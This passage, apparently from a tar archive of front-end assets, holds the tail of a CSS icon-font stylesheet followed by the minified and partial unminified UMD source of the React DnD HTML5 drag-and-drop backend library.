1"}.ik-shield:before{content:"\e8c2"}.ik-settings:before{content:"\e8c3"}.ik-skip-back:before{content:"\e8c4"}.ik-shuffle:before{content:"\e8c5"}.ik-sidebar:before{content:"\e8c6"}.ik-skip-forward:before{content:"\e8c7"}.ik-slack:before{content:"\e8c8"}.ik-slash:before{content:"\e8c9"}.ik-smartphone:before{content:"\e8ca"}.ik-square:before{content:"\e8cb"}.ik-speaker:before{content:"\e8cc"}.ik-star:before{content:"\e8cd"}.ik-stop-circle:before{content:"\e8ce"}.ik-sun:before{content:"\e8cf"}.ik-sunrise:before{content:"\e8d0"}.ik-tablet:before{content:"\e8d1"}.ik-tag:before{content:"\e8d2"}.ik-sunset:before{content:"\e8d3"}.ik-target:before{content:"\e8d4"}.ik-thermometer:before{content:"\e8d5"}.ik-thumbs-up:before{content:"\e8d6"}.ik-thumbs-down:before{content:"\e8d7"}.ik-toggle-left:before{content:"\e8d8"}.ik-toggle-right:before{content:"\e8d9"}.ik-trash-2:before{content:"\e8da"}.ik-trash:before{content:"\e8db"}.ik-trending-up:before{content:"\e8dc"}.ik-trending-down:before{content:"\e8dd"}.ik-triangle:before{content:"\e8de"}.ik-type:before{content:"\e8df"}.ik-twitter:before{content:"\e8e0"}.ik-upload:before{content:"\e8e1"}.ik-umbrella:before{content:"\e8e2"}.ik-upload-cloud:before{content:"\e8e3"}.ik-unlock:before{content:"\e8e4"}.ik-user-check:before{content:"\e8e5"}.ik-user-minus:before{content:"\e8e6"}.ik-user-plus:before{content:"\e8e7"}.ik-user-x:before{content:"\e8e8"}.ik-user:before{content:"\e8e9"}.ik-users:before{content:"\e8ea"}.ik-video-off:before{content:"\e8eb"}.ik-video:before{content:"\e8ec"}.ik-voicemail:before{content:"\e8ed"}.ik-volume-x:before{content:"\e8ee"}.ik-volume-2:before{content:"\e8ef"}.ik-volume-1:before{content:"\e8f0"}.ik-volume:before{content:"\e8f1"}.ik-watch:before{content:"\e8f2"}.ik-wifi:before{content:"\e8f3"}.ik-x-square:before{content:"\e8f4"}.ik-wind:before{content:"\e8f5"}.ik-x:before{content:"\e8f6"}.ik-x-circle:before{content:"\e8f7"}.ik-zap:before{content:"\e8f8"}.ik-zoom-in:before{content:"\e8f9"}.ik-zoom-out:before{content:"\e8fa"}.ik-command:before{content:"\e8fb"}.ik-cloud:before{content:"\e8fc"}.ik-hash:before{content:"\e8fd"}.ik-headphones:before{content:"\e8fe"}.ik-underline:before{content:"\e8ff"}.ik-italic:before{content:"\e900"}.ik-bold:before{content:"\e901"}.ik-crop:before{content:"\e902"}.ik-help-circle:before{content:"\e903"}.ik-paperclip:before{content:"\e904"}.ik-shopping-cart:before{content:"\e905"}.ik-tv:before{content:"\e906"}.ik-wifi-off:before{content:"\e907"}.ik-minimize:before{content:"\e88d"}.ik-maximize:before{content:"\e908"}.ik-gitlab:before{content:"\e909"}.ik-sliders:before{content:"\e90a"}.ik-star-on:before{content:"\e90b"}.ik-heart-on:before{content:"\e90c"}.ik-archive:before{content:"\e90d"}.ik-arrow-down-circle:before{content:"\e90e"}.ik-arrow-up-circle:before{content:"\e90f"}.ik-arrow-left-circle:before{content:"\e910"}.ik-arrow-right-circle:before{content:"\e911"}.ik-bar-chart-line-:before{content:"\e912"}.ik-bar-chart-line:before{content:"\e913"}.ik-book-open:before{content:"\e914"}.ik-code:before{content:"\e915"}.ik-database:before{content:"\e916"}.ik-dollar-sign:before{content:"\e917"}.ik-folder-plus:before{content:"\e918"}.ik-gift:before{content:"\e919"}.ik-folder-minus:before{content:"\e91a"}.ik-git-commit:before{content:"\e91b"}.ik-git-branch:before{content:"\e91c"}.ik-git-pull-request:before{content:"\e91d"}.ik-git-merge:before{content:"\e91e"}.ik-linkedin:before{content:"\e91f"}.ik-hard-drive:before{content:"\e920"}.ik-more-vertical-:before{content:"\e921"}.ik-more-horizontal-:before{content:"\e922"}.ik-rss:before{content:"\e923"}.ik-send:before{content:"\e924"}.ik-shield-off:before{content:"\e925"}.ik-shopping-bag:before{content:"\e926"}.ik-terminal:before{content:"\e927"}.ik-truck:before{content:"\e928"}.ik-zap-off:before{content:"\e929"}.ik-youtube:before{content:"\e92a"}.ik-1x{font-size:1em}.ik-2x{font-size:2em}.ik-3x{font-size:3em}.ik-4x{font-size:4em}.ik-5x{font-size:5em}:root .ik-flip-horizontal,:root .ik-flip-vertical,:root .ik-rotate-180,:root .ik-rotate-270,:root .ik-rotate-90{-webkit-filter:none;filter:none;display:inline-block}.ik-rotate-90{-webkit-transform:rotate(90deg);transform:rotate(90deg)}.ik-rotate-180{-webkit-transform:rotate(180deg);transform:rotate(180deg)}.ik-rotate-270{-webkit-transform:rotate(270deg);transform:rotate(270deg)}.ik-flip-horizontal{-webkit-transform:scale(-1,1);transform:scale(-1,1)}.ik-flip-vertical{-webkit-transform:scale(1,-1);transform:scale(1,-1)}umd/ReactDnDHTML5Backend.min.js000064400000041707151677252760012152 0ustar00!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?t(exports):"function"==typeof define&&define.amd?define(["exports"],t):t((e=e||self).ReactDnDHTML5Backend={})}(this,(function(e){"use strict";function t(e){var t=null;return function(){return null==t&&(t=e()),t}}function r(e,t){for(var r=0;r<t.length;r++){var n=t[r];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}var n=function(){function e(t){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),this.entered=[],this.isNodeInDocument=t}var t,n,a;return t=e,(n=[{key:"enter",value:function(e){var t=this,r=this.entered.length;return this.entered=function(e,t){var r=new Set,n=function(e){return r.add(e)};e.forEach(n),t.forEach(n);var a=[];return r.forEach((function(e){return a.push(e)})),a}(this.entered.filter((function(r){return t.isNodeInDocument(r)&&(!r.contains||r.contains(e))})),[e]),0===r&&this.entered.length>0}},{key:"leave",value:function(e){var t,r,n=this.entered.length;return this.entered=(t=this.entered.filter(this.isNodeInDocument),r=e,t.filter((function(e){return e!==r}))),n>0&&0===this.entered.length}},{key:"reset",value:function(){this.entered=[]}}])&&r(t.prototype,n),a&&r(t,a),e}(),a=t((function(){return/firefox/i.test(navigator.userAgent)})),i=t((function(){return Boolean(window.safari)}));function o(e,t){for(var r=0;r<t.length;r++){var n=t[r];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}var s=function(){function e(t,r){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e);for(var n=t.length,a=[],i=0;i<n;i++)a.push(i);a.sort((function(e,r){return t[e]<t[r]?-1:1}));for(var o,s,u=[],d=[],c=0;c<n-1;c++)o=t[c+1]-t[c],s=r[c+1]-r[c],u.push(o),d.push(s/o);for(var l=[d[0]],g=0;g<u.length-1;g++){var f=d[g],v=d[g+1];if(f*v<=0)l.push(0);else{o=u[g];var h=u[g+1],p=o+h;l.push(3*p/((p+h)/f+(p+o)/v))}}l.push(d[d.length-1]);for(var m,D=[],y=[],w=0;w<l.length-1;w++){m=d[w];var T=l[w],E=1/u[w],b=T+l[w+1]-m-m;D.push((m-T-b)*E),y.push(b*E*E)}this.xs=t,this.ys=r,this.c1s=l,this.c2s=D,this.c3s=y}var t,r,n;return t=e,(r=[{key:"interpolate",value:function(e){var t=this.xs,r=this.ys,n=this.c1s,a=this.c2s,i=this.c3s,o=t.length-1;if(e===t[o])return r[o];for(var s,u=0,d=i.length-1;u<=d;){var c=t[s=Math.floor(.5*(u+d))];if(c<e)u=s+1;else{if(!(c>e))return r[s];d=s-1}}var l=e-t[o=Math.max(0,d)],g=l*l;return r[o]+n[o]*l+a[o]*g+i[o]*l*g}}])&&o(t.prototype,r),n&&o(t,n),e}();function u(e){var t=1===e.nodeType?e:e.parentElement;if(!t)return null;var r=t.getBoundingClientRect(),n=r.top;return{x:r.left,y:n}}function d(e){return{x:e.clientX,y:e.clientY}}function c(e,t,r,n,o){var d,c,l,g="IMG"===(d=t).nodeName&&(a()||!(null===(c=document.documentElement)||void 0===c?void 0:c.contains(d))),f=u(g?e:t),v={x:r.x-f.x,y:r.y-f.y},h=e.offsetWidth,p=e.offsetHeight,m=n.anchorX,D=n.anchorY,y=function(e,t,r,n){var a=e?t.width:r,o=e?t.height:n;return i()&&e&&(o/=window.devicePixelRatio,a/=window.devicePixelRatio),{dragPreviewWidth:a,dragPreviewHeight:o}}(g,t,h,p),w=y.dragPreviewWidth,T=y.dragPreviewHeight,E=o.offsetX,b=o.offsetY,N=0===b||b;return{x:0===E||E?E:new s([0,.5,1],[v.x,v.x/h*w,v.x+w-h]).interpolate(m),y:N?b:(l=new s([0,.5,1],[v.y,v.y/p*T,v.y+T-p]).interpolate(D),i()&&g&&(l+=(window.devicePixelRatio-1)*T),l)}}var l,g="__NATIVE_FILE__",f="__NATIVE_URL__",v="__NATIVE_TEXT__",h=Object.freeze({__proto__:null,FILE:g,URL:f,TEXT:v});function p(e,t,r){var n=t.reduce((function(t,r){return t||e.getData(r)}),"");return null!=n?n:r}function m(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}var D=(m(l={},g,{exposeProperties:{files:function(e){return Array.prototype.slice.call(e.files)},items:function(e){return e.items}},matchesTypes:["Files"]}),m(l,f,{exposeProperties:{urls:function(e,t){return p(e,t,"").split("\n")}},matchesTypes:["Url","text/uri-list"]}),m(l,v,{exposeProperties:{text:function(e,t){return p(e,t,"")}},matchesTypes:["Text","text/plain"]}),l);function y(e,t){for(var r=0;r<t.length;r++){var n=t[r];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}var w=function(){function e(t){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),this.config=t,this.item={},this.initializeExposedProperties()}var t,r,n;return t=e,(r=[{key:"initializeExposedProperties",value:function(){var e=this;Object.keys(this.config.exposeProperties).forEach((function(t){Object.defineProperty(e.item,t,{configurable:!0,enumerable:!0,get:function(){return console.warn("Browser doesn't allow reading \"".concat(t,'" until the drop event.')),null}})}))}},{key:"loadDataTransfer",value:function(e){var t=this;if(e){var r={};Object.keys(this.config.exposeProperties).forEach((function(n){r[n]={value:t.config.exposeProperties[n](e,t.config.matchesTypes),configurable:!0,enumerable:!0}})),Object.defineProperties(this.item,r)}}},{key:"canDrag",value:function(){return!0}},{key:"beginDrag",value:function(){return this.item}},{key:"isDragging",value:function(e,t){return t===e.getSourceId()}},{key:"endDrag",value:function(){}}])&&y(t.prototype,r),n&&y(t,n),e}();function T(e){if(!e)return null;var t=Array.prototype.slice.call(e.types||[]);return Object.keys(D).filter((function(e){return D[e].matchesTypes.some((function(e){return t.indexOf(e)>-1}))}))[0]||null}function E(e,t){for(var r=0;r<t.length;r++){var n=t[r];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}var b=function(){function e(t){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),this.globalContext=t}var t,r,n;return t=e,(r=[{key:"window",get:function(){return this.globalContext?this.globalContext:"undefined"!=typeof window?window:void 0}},{key:"document",get:function(){if(this.window)return this.window.document}}])&&E(t.prototype,r),n&&E(t,n),e}();function N(e,t){var r=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);t&&(n=n.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),r.push.apply(r,n)}return r}function O(e){for(var t=1;t<arguments.length;t++){var r=null!=arguments[t]?arguments[t]:{};t%2?N(Object(r),!0).forEach((function(t){S(e,t,r[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(r)):N(Object(r)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(r,t))}))}return e}function S(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}function I(e,t){for(var r=0;r<t.length;r++){var n=t[r];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}var C,P=function(){function e(t,r){var i=this;!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),this.sourcePreviewNodes=new Map,this.sourcePreviewNodeOptions=new Map,this.sourceNodes=new Map,this.sourceNodeOptions=new Map,this.dragStartSourceIds=null,this.dropTargetIds=[],this.dragEnterTargetIds=[],this.currentNativeSource=null,this.currentNativeHandle=null,this.currentDragSourceNode=null,this.altKeyPressed=!1,this.mouseMoveTimeoutTimer=null,this.asyncEndDragFrameId=null,this.dragOverTargetIds=null,this.getSourceClientOffset=function(e){var t=i.sourceNodes.get(e);return t&&u(t)||null},this.endDragNativeItem=function(){i.isDraggingNativeItem()&&(i.actions.endDrag(),i.currentNativeHandle&&i.registry.removeSource(i.currentNativeHandle),i.currentNativeHandle=null,i.currentNativeSource=null)},this.isNodeInDocument=function(e){return Boolean(e&&i.document&&i.document.body&&document.body.contains(e))},this.endDragIfSourceWasRemovedFromDOM=function(){var e=i.currentDragSourceNode;i.isNodeInDocument(e)||i.clearCurrentDragSourceNode()&&i.actions.endDrag()},this.handleTopDragStartCapture=function(){i.clearCurrentDragSourceNode(),i.dragStartSourceIds=[]},this.handleTopDragStart=function(e){if(!e.defaultPrevented){var t=i.dragStartSourceIds;i.dragStartSourceIds=null;var r=d(e);i.monitor.isDragging()&&i.actions.endDrag(),i.actions.beginDrag(t||[],{publishSource:!1,getSourceClientOffset:i.getSourceClientOffset,clientOffset:r});var n=e.dataTransfer,a=T(n);if(i.monitor.isDragging()){if(n&&"function"==typeof n.setDragImage){var o=i.monitor.getSourceId(),s=i.sourceNodes.get(o),u=i.sourcePreviewNodes.get(o)||s;if(u){var l=i.getCurrentSourcePreviewNodeOptions(),g=c(s,u,r,{anchorX:l.anchorX,anchorY:l.anchorY},{offsetX:l.offsetX,offsetY:l.offsetY});n.setDragImage(u,g.x,g.y)}}try{null==n||n.setData("application/json",{})}catch(e){}i.setCurrentDragSourceNode(e.target),i.getCurrentSourcePreviewNodeOptions().captureDraggingState?i.actions.publishDragSource():setTimeout((function(){return i.actions.publishDragSource()}),0)}else if(a)i.beginDragNativeItem(a);else{if(n&&!n.types&&(e.target&&!e.target.hasAttribute||!e.target.hasAttribute("draggable")))return;e.preventDefault()}}},this.handleTopDragEndCapture=function(){i.clearCurrentDragSourceNode()&&i.actions.endDrag()},this.handleTopDragEnterCapture=function(e){if(i.dragEnterTargetIds=[],i.enterLeaveCounter.enter(e.target)&&!i.monitor.isDragging()){var t=e.dataTransfer,r=T(t);r&&i.beginDragNativeItem(r,t)}},this.handleTopDragEnter=function(e){var t=i.dragEnterTargetIds;(i.dragEnterTargetIds=[],i.monitor.isDragging())&&(i.altKeyPressed=e.altKey,a()||i.actions.hover(t,{clientOffset:d(e)}),t.some((function(e){return i.monitor.canDropOnTarget(e)}))&&(e.preventDefault(),e.dataTransfer&&(e.dataTransfer.dropEffect=i.getCurrentDropEffect())))},this.handleTopDragOverCapture=function(){i.dragOverTargetIds=[]},this.handleTopDragOver=function(e){var t=i.dragOverTargetIds;if(i.dragOverTargetIds=[],!i.monitor.isDragging())return e.preventDefault(),void(e.dataTransfer&&(e.dataTransfer.dropEffect="none"));i.altKeyPressed=e.altKey,i.actions.hover(t||[],{clientOffset:d(e)}),(t||[]).some((function(e){return i.monitor.canDropOnTarget(e)}))?(e.preventDefault(),e.dataTransfer&&(e.dataTransfer.dropEffect=i.getCurrentDropEffect())):i.isDraggingNativeItem()?e.preventDefault():(e.preventDefault(),e.dataTransfer&&(e.dataTransfer.dropEffect="none"))},this.handleTopDragLeaveCapture=function(e){i.isDraggingNativeItem()&&e.preventDefault(),i.enterLeaveCounter.leave(e.target)&&i.isDraggingNativeItem()&&i.endDragNativeItem()},this.handleTopDropCapture=function(e){var t;(i.dropTargetIds=[],e.preventDefault(),i.isDraggingNativeItem())&&(null===(t=i.currentNativeSource)||void 0===t||t.loadDataTransfer(e.dataTransfer));i.enterLeaveCounter.reset()},this.handleTopDrop=function(e){var t=i.dropTargetIds;i.dropTargetIds=[],i.actions.hover(t,{clientOffset:d(e)}),i.actions.drop({dropEffect:i.getCurrentDropEffect()}),i.isDraggingNativeItem()?i.endDragNativeItem():i.endDragIfSourceWasRemovedFromDOM()},this.handleSelectStart=function(e){var t=e.target;"function"==typeof t.dragDrop&&("INPUT"===t.tagName||"SELECT"===t.tagName||"TEXTAREA"===t.tagName||t.isContentEditable||(e.preventDefault(),t.dragDrop()))},this.options=new b(r),this.actions=t.getActions(),this.monitor=t.getMonitor(),this.registry=t.getRegistry(),this.enterLeaveCounter=new n(this.isNodeInDocument)}var t,r,i;return t=e,(r=[{key:"profile",value:function(){var e,t;return{sourcePreviewNodes:this.sourcePreviewNodes.size,sourcePreviewNodeOptions:this.sourcePreviewNodeOptions.size,sourceNodeOptions:this.sourceNodeOptions.size,sourceNodes:this.sourceNodes.size,dragStartSourceIds:(null===(e=this.dragStartSourceIds)||void 0===e?void 0:e.length)||0,dropTargetIds:this.dropTargetIds.length,dragEnterTargetIds:this.dragEnterTargetIds.length,dragOverTargetIds:(null===(t=this.dragOverTargetIds)||void 0===t?void 0:t.length)||0}}},{key:"setup",value:function(){if(void 0!==this.window){if(this.window.__isReactDndBackendSetUp)throw new Error("Cannot have two HTML5 backends at the same time.");this.window.__isReactDndBackendSetUp=!0,this.addEventListeners(this.window)}}},{key:"teardown",value:function(){void 0!==this.window&&(this.window.__isReactDndBackendSetUp=!1,this.removeEventListeners(this.window),this.clearCurrentDragSourceNode(),this.asyncEndDragFrameId&&this.window.cancelAnimationFrame(this.asyncEndDragFrameId))}},{key:"connectDragPreview",value:function(e,t,r){var n=this;return this.sourcePreviewNodeOptions.set(e,r),this.sourcePreviewNodes.set(e,t),function(){n.sourcePreviewNodes.delete(e),n.sourcePreviewNodeOptions.delete(e)}}},{key:"connectDragSource",value:function(e,t,r){var n=this;this.sourceNodes.set(e,t),this.sourceNodeOptions.set(e,r);var a=function(t){return n.handleDragStart(t,e)},i=function(e){return n.handleSelectStart(e)};return t.setAttribute("draggable","true"),t.addEventListener("dragstart",a),t.addEventListener("selectstart",i),function(){n.sourceNodes.delete(e),n.sourceNodeOptions.delete(e),t.removeEventListener("dragstart",a),t.removeEventListener("selectstart",i),t.setAttribute("draggable","false")}}},{key:"connectDropTarget",value:function(e,t){var r=this,n=function(t){return r.handleDragEnter(t,e)},a=function(t){return r.handleDragOver(t,e)},i=function(t){return r.handleDrop(t,e)};return t.addEventListener("dragenter",n),t.addEventListener("dragover",a),t.addEventListener("drop",i),function(){t.removeEventListener("dragenter",n),t.removeEventListener("dragover",a),t.removeEventListener("drop",i)}}},{key:"addEventListeners",value:function(e){e.addEventListener&&(e.addEventListener("dragstart",this.handleTopDragStart),e.addEventListener("dragstart",this.handleTopDragStartCapture,!0),e.addEventListener("dragend",this.handleTopDragEndCapture,!0),e.addEventListener("dragenter",this.handleTopDragEnter),e.addEventListener("dragenter",this.handleTopDragEnterCapture,!0),e.addEventListener("dragleave",this.handleTopDragLeaveCapture,!0),e.addEventListener("dragover",this.handleTopDragOver),e.addEventListener("dragover",this.handleTopDragOverCapture,!0),e.addEventListener("drop",this.handleTopDrop),e.addEventListener("drop",this.handleTopDropCapture,!0))}},{key:"removeEventListeners",value:function(e){e.removeEventListener&&(e.removeEventListener("dragstart",this.handleTopDragStart),e.removeEventListener("dragstart",this.handleTopDragStartCapture,!0),e.removeEventListener("dragend",this.handleTopDragEndCapture,!0),e.removeEventListener("dragenter",this.handleTopDragEnter),e.removeEventListener("dragenter",this.handleTopDragEnterCapture,!0),e.removeEventListener("dragleave",this.handleTopDragLeaveCapture,!0),e.removeEventListener("dragover",this.handleTopDragOver),e.removeEventListener("dragover",this.handleTopDragOverCapture,!0),e.removeEventListener("drop",this.handleTopDrop),e.removeEventListener("drop",this.handleTopDropCapture,!0))}},{key:"getCurrentSourceNodeOptions",value:function(){var e=this.monitor.getSourceId(),t=this.sourceNodeOptions.get(e);return O({dropEffect:this.altKeyPressed?"copy":"move"},t||{})}},{key:"getCurrentDropEffect",value:function(){return this.isDraggingNativeItem()?"copy":this.getCurrentSourceNodeOptions().dropEffect}},{key:"getCurrentSourcePreviewNodeOptions",value:function(){var e=this.monitor.getSourceId();return O({anchorX:.5,anchorY:.5,captureDraggingState:!1},this.sourcePreviewNodeOptions.get(e)||{})}},{key:"isDraggingNativeItem",value:function(){var e=this.monitor.getItemType();return Object.keys(h).some((function(t){return h[t]===e}))}},{key:"beginDragNativeItem",value:function(e,t){this.clearCurrentDragSourceNode(),this.currentNativeSource=function(e,t){var r=new w(D[e]);return r.loadDataTransfer(t),r}(e,t),this.currentNativeHandle=this.registry.addSource(e,this.currentNativeSource),this.actions.beginDrag([this.currentNativeHandle])}},{key:"setCurrentDragSourceNode",value:function(e){var t=this;this.clearCurrentDragSourceNode(),this.currentDragSourceNode=e,this.mouseMoveTimeoutTimer=setTimeout((function(){return t.window&&t.window.addEventListener("mousemove",t.endDragIfSourceWasRemovedFromDOM,!0)}),1e3)}},{key:"clearCurrentDragSourceNode",value:function(){return!!this.currentDragSourceNode&&(this.currentDragSourceNode=null,this.window&&(this.window.clearTimeout(this.mouseMoveTimeoutTimer||void 0),this.window.removeEventListener("mousemove",this.endDragIfSourceWasRemovedFromDOM,!0)),this.mouseMoveTimeoutTimer=null,!0)}},{key:"handleDragStart",value:function(e,t){e.defaultPrevented||(this.dragStartSourceIds||(this.dragStartSourceIds=[]),this.dragStartSourceIds.unshift(t))}},{key:"handleDragEnter",value:function(e,t){this.dragEnterTargetIds.unshift(t)}},{key:"handleDragOver",value:function(e,t){null===this.dragOverTargetIds&&(this.dragOverTargetIds=[]),this.dragOverTargetIds.unshift(t)}},{key:"handleDrop",value:function(e,t){this.dropTargetIds.unshift(t)}},{key:"window",get:function(){return this.options.window}},{key:"document",get:function(){return this.options.document}}])&&I(t.prototype,r),i&&I(t,i),e}();e.HTML5Backend=function(e,t){return new P(e,t)},e.NativeTypes=h,e.getEmptyImage=function(){return C||((C=new Image).src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="),C},Object.defineProperty(e,"__esModule",{value:!0})}));
umd/ReactDnDHTML5Backend.js000064400000122311151677252760011357 0ustar00(function (global, factory) {
  typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports) :
  typeof define === 'function' && define.amd ? define(['exports'], factory) :
  (global = global || self, factory(global.ReactDnDHTML5Backend = {}));
}(this, (function (exports) { 'use strict';

  // cheap lodash replacements
  function memoize(fn) {
    var result = null;

    var memoized = function memoized() {
      if (result == null) {
        result = fn();
      }

      return result;
    };

    return memoized;
  }
  /**
   * drop-in replacement for _.without
   */

  function without(items, item) {
    return items.filter(function (i) {
      return i !== item;
    });
  }
  function union(itemsA, itemsB) {
    var set = new Set();

    var insertItem = function insertItem(item) {
      return set.add(item);
    };

    itemsA.forEach(insertItem);
    itemsB.forEach(insertItem);
    var result = [];
    set.forEach(function (key) {
      return result.push(key);
    });
    return result;
  }

  function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

  function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }

  function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }
  var EnterLeaveCounter = /*#__PURE__*/function () {
    function EnterLeaveCounter(isNodeInDocument) {
      _classCallCheck(this, EnterLeaveCounter);

      this.entered = [];
      this.isNodeInDocument = isNodeInDocument;
    }

    _createClass(EnterLeaveCounter, [{
      key: "enter",
      value: function enter(enteringNode) {
        var _this = this;

        var previousLength = this.entered.length;

        var isNodeEntered = function isNodeEntered(node) {
          return _this.isNodeInDocument(node) && (!node.contains || node.contains(enteringNode));
        };

        this.entered = union(this.entered.filter(isNodeEntered), [enteringNode]);
        return previousLength === 0 && this.entered.length > 0;
      }
    }, {
      key: "leave",
      value: function leave(leavingNode) {
        var previousLength = this.entered.length;
        this.entered = without(this.entered.filter(this.isNodeInDocument), leavingNode);
        return previousLength > 0 && this.entered.length === 0;
      }
    }, {
      key: "reset",
      value: function reset() {
        this.entered = [];
      }
    }]);

    return EnterLeaveCounter;
  }();

  var isFirefox = memoize(function () {
    return /firefox/i.test(navigator.userAgent);
  });
  var isSafari = memoize(function () {
    return Boolean(window.safari);
  });

  function _classCallCheck$1(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

  function _defineProperties$1(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }

  function _createClass$1(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties$1(Constructor.prototype, protoProps); if (staticProps) _defineProperties$1(Constructor, staticProps); return Constructor; }

  var MonotonicInterpolant = /*#__PURE__*/function () {
    function MonotonicInterpolant(xs, ys) {
      _classCallCheck$1(this, MonotonicInterpolant);

      var length = xs.length; // Rearrange xs and ys so that xs is sorted

      var indexes = [];

      for (var i = 0; i < length; i++) {
        indexes.push(i);
      }

      indexes.sort(function (a, b) {
        return xs[a] < xs[b] ? -1 : 1;
      }); // Get consecutive differences and slopes
      var dxs = [];
      var ms = [];
      var dx;
      var dy;

      for (var _i = 0; _i < length - 1; _i++) {
        dx = xs[_i + 1] - xs[_i];
        dy = ys[_i + 1] - ys[_i];
        dxs.push(dx);
        ms.push(dy / dx);
      } // Get degree-1 coefficients


      var c1s = [ms[0]];

      for (var _i2 = 0; _i2 < dxs.length - 1; _i2++) {
        var m2 = ms[_i2];
        var mNext = ms[_i2 + 1];

        if (m2 * mNext <= 0) {
          c1s.push(0);
        } else {
          dx = dxs[_i2];
          var dxNext = dxs[_i2 + 1];
          var common = dx + dxNext;
          c1s.push(3 * common / ((common + dxNext) / m2 + (common + dx) / mNext));
        }
      }

      c1s.push(ms[ms.length - 1]); // Get degree-2 and degree-3 coefficients

      var c2s = [];
      var c3s = [];
      var m;

      for (var _i3 = 0; _i3 < c1s.length - 1; _i3++) {
        m = ms[_i3];
        var c1 = c1s[_i3];
        var invDx = 1 / dxs[_i3];

        var _common = c1 + c1s[_i3 + 1] - m - m;

        c2s.push((m - c1 - _common) * invDx);
        c3s.push(_common * invDx * invDx);
      }

      this.xs = xs;
      this.ys = ys;
      this.c1s = c1s;
      this.c2s = c2s;
      this.c3s = c3s;
    }

    _createClass$1(MonotonicInterpolant, [{
      key: "interpolate",
      value: function interpolate(x) {
        var xs = this.xs,
            ys = this.ys,
            c1s = this.c1s,
            c2s = this.c2s,
            c3s = this.c3s; // The rightmost point in the dataset should give an exact result

        var i = xs.length - 1;

        if (x === xs[i]) {
          return ys[i];
        } // Search for the interval x is in, returning the corresponding y if x is one of the original xs


        var low = 0;
        var high = c3s.length - 1;
        var mid;

        while (low <= high) {
          mid = Math.floor(0.5 * (low + high));
          var xHere = xs[mid];

          if (xHere < x) {
            low = mid + 1;
          } else if (xHere > x) {
            high = mid - 1;
          } else {
            return ys[mid];
          }
        }

        i = Math.max(0, high); // Interpolate

        var diff = x - xs[i];
        var diffSq = diff * diff;
        return ys[i] + c1s[i] * diff + c2s[i] * diffSq + c3s[i] * diff * diffSq;
      }
    }]);

    return MonotonicInterpolant;
  }();

  var ELEMENT_NODE = 1;
  function getNodeClientOffset(node) {
    var el = node.nodeType === ELEMENT_NODE ? node : node.parentElement;

    if (!el) {
      return null;
    }

    var _el$getBoundingClient = el.getBoundingClientRect(),
        top = _el$getBoundingClient.top,
        left = _el$getBoundingClient.left;

    return {
      x: left,
      y: top
    };
  }
  function getEventClientOffset(e) {
    return {
      x: e.clientX,
      y: e.clientY
    };
  }

  function isImageNode(node) {
    var _document$documentEle;

    return node.nodeName === 'IMG' && (isFirefox() || !((_document$documentEle = document.documentElement) === null || _document$documentEle === void 0 ? void 0 : _document$documentEle.contains(node)));
  }

  function getDragPreviewSize(isImage, dragPreview, sourceWidth, sourceHeight) {
    var dragPreviewWidth = isImage ? dragPreview.width : sourceWidth;
    var dragPreviewHeight = isImage ? dragPreview.height : sourceHeight; // Work around @2x coordinate discrepancies in browsers

    if (isSafari() && isImage) {
      dragPreviewHeight /= window.devicePixelRatio;
      dragPreviewWidth /= window.devicePixelRatio;
    }

    return {
      dragPreviewWidth: dragPreviewWidth,
      dragPreviewHeight: dragPreviewHeight
    };
  }

  function getDragPreviewOffset(sourceNode, dragPreview, clientOffset, anchorPoint, offsetPoint) {
    // The browsers will use the image intrinsic size under different conditions.
    // Firefox only cares if it's an image, but WebKit also wants it to be detached.
    var isImage = isImageNode(dragPreview);
    var dragPreviewNode = isImage ? sourceNode : dragPreview;
    var dragPreviewNodeOffsetFromClient = getNodeClientOffset(dragPreviewNode);
    var offsetFromDragPreview = {
      x: clientOffset.x - dragPreviewNodeOffsetFromClient.x,
      y: clientOffset.y - dragPreviewNodeOffsetFromClient.y
    };
    var sourceWidth = sourceNode.offsetWidth,
        sourceHeight = sourceNode.offsetHeight;
    var anchorX = anchorPoint.anchorX,
        anchorY = anchorPoint.anchorY;

